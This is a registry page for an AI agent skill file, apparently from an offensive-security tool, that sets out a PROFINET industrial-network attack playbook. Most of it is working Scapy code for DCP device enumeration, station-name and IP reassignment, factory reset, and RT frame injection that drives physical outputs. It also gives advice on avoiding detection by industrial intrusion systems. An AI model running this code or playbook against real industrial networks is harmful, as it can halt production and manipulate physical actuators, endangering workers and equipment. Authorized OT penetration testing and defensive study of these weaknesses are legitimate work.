CtrlK
BlogDocsLog inGet started
Tessl Logo

profinet

PROFINET (L2 EtherType 0x8892 / DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection/replay for cyclic-IO spoofing. Siemens/EU fieldbus peer of S7Comm; requires same L2 broadcast domain.

61

Quality

72%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/ics-ot/profinet/SKILL.md
SKILL.md
Quality
Evals
Security

PROFINET Attack Playbook (EtherType 0x8892 / DCP)

PROFINET is the dominant European/Siemens fieldbus for deterministic real-time process automation — deployed in Siemens SIMATIC PLC networks, Beckhoff TwinCAT, Phoenix Contact, and virtually all post-2005 EU manufacturing. Unlike Modbus or EtherNet/IP, PROFINET RT operates at Layer 2 (EtherType 0x8892) — there is no IP header, no routing, and no firewall coverage at the IP layer. The attacker must be on the same Ethernet broadcast domain (OT L2 segment, or have a SPAN/TAP into it). DCP (Discovery and basic Configuration Protocol) provides unauthenticated device enumeration, naming, IP assignment, and factory-reset — all without credentials.

SAFETY FIRST

DCP Set commands (station-name reassignment, IP change, factory-reset) immediately disrupt the IO-controller ↔ IO-device association. When an IO-device loses its expected station name, the PROFINET IO controller goes to BF (Bus Fault) state and the process typically enters a safe/halt state or continues with the last-known values depending on watchdog configuration. This is a process-disruption event. Confirm written scope authorization before any DCP Set or RT frame injection. DCP Identify (read) is safe.

Prerequisites

  • Physical or logical access to the OT L2 segment (direct port, rogue switch, SPAN, compromised HMI/engineering workstation on the same VLAN).
  • Wireshark with pn_dcp dissector (ships by default — filter: pn_dcp).
  • Python with scapy for DCP crafting (or python-profinet library).
# Verify interface sees PROFINET frames
sudo tcpdump -i eth0 ether proto 0x8892 -c 20
# If frames appear: you are on the OT segment

# Install scapy (already on Kali)
pip install scapy

# python-profinet (alternative higher-level library)
pip install profinet

Phase 1 — Discover: DCP Identify-All broadcast

DCP Identify-All is a Layer-2 broadcast to 01:0E:CF:00:00:00 (PROFINET multicast). All devices on the segment reply with their station name, IP, MAC, device type, vendor, order number, firmware.

Wireshark passive discovery

# Capture DCP traffic — Identify requests and responses
sudo wireshark -i eth0 -f "ether proto 0x8892" -k
# Filter in Wireshark: pn_dcp.block_type == 0x0101 (NameOfStation)
# Filter for Identify responses: pn_dcp.service_id == 5 && pn_dcp.service_type == 1

Active DCP Identify-All broadcast (Scapy)

from scapy.all import Ether, sendp, sniff
import struct, socket, time

PROFINET_ETHERTYPE = 0x8892
DCP_MULTICAST_MAC = "01:0e:cf:00:00:00"
IFACE = "eth0"  # replace with your OT interface

def build_dcp_identify_all(xid=1):
    """Build a PROFINET DCP Identify-All request frame."""
    # PROFINET Real-Time header: FrameID 0xFEFE (DCP Identify)
    frame_id = struct.pack(">H", 0xFEFE)
    # DCP header: ServiceID=5 (Identify), ServiceType=0 (Request), XID, Reserved, DCPDataLength
    dcp_header = struct.pack(">BBHHHH",
        0x05,   # ServiceID: Identify
        0x00,   # ServiceType: Request
        xid,    # XID
        0x0000, # Reserved
        0x0000, # ResponseDelay (0=immediate broadcast)
        0x0004, # DCPDataLength (4 bytes for the suboption block)
    )
    # DCP block: Option=All (0xFF), Suboption=All (0xFF), DCPBlockLength=0
    dcp_block = struct.pack(">BBH", 0xFF, 0xFF, 0x0000)

    payload = frame_id + dcp_header + dcp_block
    frame = Ether(dst=DCP_MULTICAST_MAC, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
    return frame

def dcp_identify_all(iface=IFACE, timeout=3):
    frame = build_dcp_identify_all()
    sendp(frame, iface=iface, verbose=False)
    print(f"[*] DCP Identify-All sent on {iface}, listening {timeout}s for responses...")

    responses = sniff(
        iface=iface,
        filter=f"ether proto {hex(PROFINET_ETHERTYPE)}",
        timeout=timeout,
        count=200,
    )
    devices = []
    for pkt in responses:
        raw = bytes(pkt.payload)
        frame_id = struct.unpack(">H", raw[:2])[0]
        if frame_id == 0xFEFE and len(raw) > 10:
            # This is a DCP response — parse it
            src_mac = pkt.src
            # Extract NameOfStation from block (simple heuristic parse)
            # Full parsing requires walking DCP blocks; Wireshark's pn_dcp is most reliable
            devices.append({"mac": src_mac, "raw_len": len(raw)})
            print(f"  Response from {src_mac} ({len(raw)} bytes) — open in Wireshark for details")
    return devices

dcp_identify_all()

Using Siemens STEP 7 / TIA Portal (if available on compromised engineering workstation)

TIA Portal's "Accessible Devices" scan (Menu → Online → Accessible Devices) runs DCP Identify-All automatically and displays a parsed device table — vendor, order number, station name, IP, MAC. This is the fastest enumeration method from a compromised EWS.

Phase 2 — Device fingerprinting: DCP Get

DCP Get retrieves specific blocks from a unicast target (by MAC address or station name). Returns: vendor ID, order ID, firmware version, device role (IO-Device / IO-Controller / IO-Supervisor).

from scapy.all import Ether, sendp, sniff
import struct

PROFINET_ETHERTYPE = 0x8892
IFACE = "eth0"

def build_dcp_get(dst_mac, xid=2, option=0x01, suboption=0x01):
    """
    DCP Get Request for a specific block.
    option 0x01 suboption 0x01 = NameOfStation
    option 0x01 suboption 0x02 = IPSuite (IP address, subnet, gateway)
    option 0x02 suboption 0x01 = ManufacturerSpecific (VendorID, DeviceID)
    option 0x02 suboption 0x05 = DeviceOptions
    """
    frame_id = struct.pack(">H", 0xFEFD)  # 0xFEFD = DCP Get/Set
    dcp_header = struct.pack(">BBHHHH",
        0x03,          # ServiceID: Get
        0x00,          # ServiceType: Request
        xid,
        0x0000,
        0x0000,
        0x0004,        # DCPDataLength
    )
    dcp_block = struct.pack(">BBH", option, suboption, 0x0000)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# Get station name from device with known MAC
# frame = build_dcp_get("aa:bb:cc:dd:ee:ff", option=0x01, suboption=0x01)
# sendp(frame, iface=IFACE, verbose=False)
# capture response with sniff(iface=IFACE, filter=f"ether src aa:bb:cc:dd:ee:ff ...", timeout=2)

Phase 3 — Flash-LED (physical device location)

DCP Set with Suboption=Signal causes a device to blink its front-panel LED for ~3 seconds — useful for physically locating a specific device on a production floor. Read-safe; does not disrupt the process.

def build_dcp_flash_led(dst_mac, xid=10):
    """DCP Set Signal — blink device LED (physical locate)."""
    frame_id = struct.pack(">H", 0xFEFD)
    # Block: Option=0x05 (Control), Suboption=0x03 (Signal)
    # BlockQualifier=0x0000, SignalValue=0x0100 (blink)
    dcp_block = struct.pack(">BBHHh", 0x05, 0x03, 0x0004, 0x0000, 0x0100)
    dcp_data_len = len(dcp_block)
    dcp_header = struct.pack(">BBHHHH",
        0x04,  # ServiceID: Set
        0x00,  # ServiceType: Request
        xid,
        0x0000,
        0x0000,
        dcp_data_len,
    )
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# sendp(build_dcp_flash_led("aa:bb:cc:dd:ee:ff"), iface=IFACE)

Phase 4 — DCP Set attacks (SAFETY GATE — write-class authorization required)

STOP. All DCP Set operations below are write-class and require explicit scope authorization. Station-name change and IP change immediately disrupt process communication.

Station-name reassignment (process disruption)

When a PROFINET IO-device's station name is changed, the IO-controller can no longer address it — the channel goes to BF (Bus Fault). The IO-controller will either go into safe state or continue with last values per watchdog config. This is a process-disruption attack.

def build_dcp_set_station_name(dst_mac, new_name, xid=20):
    """
    DCP Set NameOfStation.
    Option=0x01, Suboption=0x01 (NameOfStation).
    new_name: bytes (PROFINET station names are ASCII, lowercase, max 240 chars)
    """
    name_bytes = new_name.encode("ascii").lower()
    # Pad to even length
    if len(name_bytes) % 2:
        name_bytes += b"\x00"
    block_len = len(name_bytes)
    # Block: Option, Suboption, DCPBlockLength, BlockQualifier, Name
    dcp_block = struct.pack(">BBH", 0x01, 0x01, block_len + 2) + struct.pack(">H", 0x0001) + name_bytes
    total_len = len(dcp_block)
    dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
    frame_id = struct.pack(">H", 0xFEFD)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# AUTHORIZED TESTING ONLY:
# sendp(build_dcp_set_station_name("aa:bb:cc:dd:ee:ff", "attacker-device"), iface=IFACE)
# After this, the original controller can no longer find "original-station-name"
# The device enters BF state and may stop responding to IO controller.

IP address reassignment

import ipaddress

def build_dcp_set_ip(dst_mac, new_ip, new_subnet, new_gateway, xid=21):
    """
    DCP Set IPSuite.
    Option=0x01, Suboption=0x02.
    """
    ip_int  = int(ipaddress.IPv4Address(new_ip))
    sub_int = int(ipaddress.IPv4Address(new_subnet))
    gw_int  = int(ipaddress.IPv4Address(new_gateway))
    dcp_block = struct.pack(">BBH", 0x01, 0x02, 14) + \
                struct.pack(">H", 0x0001) + \
                struct.pack(">III", ip_int, sub_int, gw_int)
    total_len = len(dcp_block)
    frame_id = struct.pack(">H", 0xFEFD)
    dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# AUTHORIZED TESTING ONLY:
# sendp(build_dcp_set_ip("aa:bb:cc:dd:ee:ff", "192.168.1.99", "255.255.255.0", "192.168.1.1"), iface=IFACE)

Factory reset

Factory reset erases station name and IP — the device reverts to DHCP or link-local addressing and requires re-commissioning from an engineering workstation. Highly disruptive in production.

def build_dcp_factory_reset(dst_mac, xid=30):
    """
    DCP Set Control/FactoryReset.
    Option=0x05, Suboption=0x04.
    """
    dcp_block = struct.pack(">BBH", 0x05, 0x04, 0x0002) + struct.pack(">H", 0x0000)
    total_len = len(dcp_block)
    frame_id = struct.pack(">H", 0xFEFD)
    dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# AUTHORIZED TESTING ONLY — extremely disruptive:
# sendp(build_dcp_factory_reset("aa:bb:cc:dd:ee:ff"), iface=IFACE)

Phase 5 — PROFINET RT frame injection / cyclic IO spoofing

PROFINET RT cyclic IO frames (FrameID 0x8000-0xBFFF) carry real-time process data between IO-controller and IO-devices at 1–128 ms intervals. There is no authentication or integrity protection on RT frames. An attacker on the segment can inject or replay spoofed IO data frames.

# Capture baseline cyclic IO traffic for a device pair
sudo tcpdump -i eth0 -w /tmp/profinet_rt.pcap ether proto 0x8892 and ether host aa:bb:cc:dd:ee:ff
# Open in Wireshark, filter: pn_rt.frame_id >= 0x8000 and pn_rt.frame_id <= 0xBFFF
# Identify FrameID, CycleCounter pattern, DataLen for the target device
from scapy.all import Ether, sendp
import struct, time

def inject_profinet_rt(dst_mac, src_mac, frame_id, cycle_counter, io_data, iface="eth0"):
    """
    Inject a PROFINET RT cyclic data frame.
    frame_id: FrameID for the target device (from captured traffic, 0x8000-0xBFFF)
    cycle_counter: Increment to match expected sequence (replay detection hint)
    io_data: bytes — the cyclic process data payload (output values for the IO-device)
    """
    # PROFINET RT: FrameID (2B) + Data + CycleCounter (2B) + DataStatus (1B) + TransferStatus (1B)
    rt_header = struct.pack(">H", frame_id)
    rt_footer = struct.pack(">HBB", cycle_counter, 0x35, 0x00)
    # DataStatus 0x35 = valid + running + no problem
    payload = rt_header + io_data + rt_footer
    frame = Ether(dst=dst_mac, src=src_mac, type=0x8892) / payload
    sendp(frame, iface=iface, verbose=False)

# Example: inject zeroed output data (all outputs off) — AUTHORIZED TESTING ONLY
# io_data = b"\x00" * 4  # size must match actual IO module output size
# inject_profinet_rt("aa:bb:cc:dd:ee:ff", "00:11:22:33:44:55", 0x8001, 1234, io_data)

Frame injection against a live IO-device causes it to accept the injected output values for that cycle. In the absence of authentication, the device cannot distinguish legitimate controller frames from injected ones. Effect: output modules (digital/analog outputs) actuate per the injected data.

Common findings

FindingMITREImpact
DCP Identify-All reveals all device identities unauthenticatedT0846Full OT asset inventory leak; reveals vendor/firmware/station names
DCP Set — station name reassignment acceptedT0816Process disruption: IO controller loses device, production halt
DCP Set — factory reset acceptedT0816Device re-commissioning required; extended downtime
PROFINET RT — no frame authenticationT0836Cyclic IO data spoofing; physical actuator manipulation
Flat IT/OT L2 (office and OT on same VLAN)T0814Attacker can reach PROFINET segment from corporate LAN
Siemens S7 + PROFINET co-located (common)T0842Chain DCP enumeration → S7Comm exploitation (cross-ref s7comm skill)

Evidence

kg_add_node(
    kind="finding",
    label="PROFINET DCP unauthenticated device enumeration",
    props={
        "key": f"profinet-dcp::{iface}",
        "protocol": "profinet-dcp",
        "ethertype": "0x8892",
        "devices_found": device_count,
        "station_names": station_names_list,  # list of discovered names
        "dcp_set_accepted": False,  # set True only after confirmed write-scope test
        "source": "scapy-dcp-identify-all",
        "l2_segment": iface,
    },
)

ZFP (two-method evidence)

  1. Wireshark capture (.pcap) containing DCP Identify responses, showing at least one device with decoded NameOfStation, IPSuite, and VendorID blocks.
  2. Parsed output table showing MAC → station-name → IP → device-type → firmware for each discovered device.

If write testing was authorized: include DCP Set response frame showing BlockError=0x00 (Set accepted) and a follow-up DCP Get confirming the new station name or IP.

OPSEC notes

  • DCP Identify-All generates a broadcast storm on large PROFINET segments — each device responds individually within a random delay (0–3s). On segments with 100+ devices, the burst may be visible in switch port statistics.
  • DCP Get (unicast) is nearly silent. Prefer unicast Gets after initial identify for lower noise.
  • Siemens Sinema Remote Connect and Scalance switches can log DCP traffic and alert on unexpected Set commands. Industrial NIDS (Claroty, Nozomi, Dragos) signature-detect DCP Set events.
  • Name/IP reassignment takes effect immediately. There is no "preview" or rollback — if you change a station name in production, you must know the original name to restore it via DCP Set.
  • PROFINET RT injection requires matching the CycleCounter and DataLength of the legitimate controller to avoid triggering DataStatus watchdog alarms on the IO-device.
  • Always record original station names and IPs before any DCP Set — document them in evidence for restoration.
  • Cross-reference s7comm skill: Siemens PLCs typically run both S7Comm (TCP 102) and PROFINET on the same device. DCP gives you identity and disruption primitives; S7Comm gives you program-level read/write.

References

  • PROFINET Specification (IEC 61158-5-10, IEC 61784-2) — profibus.com/technology/profinet/
  • Wireshark pn_dcp and pn_rt dissectors — Wireshark PROFINET protocol documentation
  • Siemens Security Bulletins (SSA-*) — cert.siemens.com
  • ICS-CERT PROFINET advisories — cisa.gov/uscert/ics/advisories
  • "Hacking PROFINET" — Alexander Bolshev, Black Hat 2013
  • Scapy Layer 2 documentation — scapy.readthedocs.io
  • python-profinet library — github.com/wandel/python-profinet
  • Claroty PROFINET research briefs — claroty.com/research
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.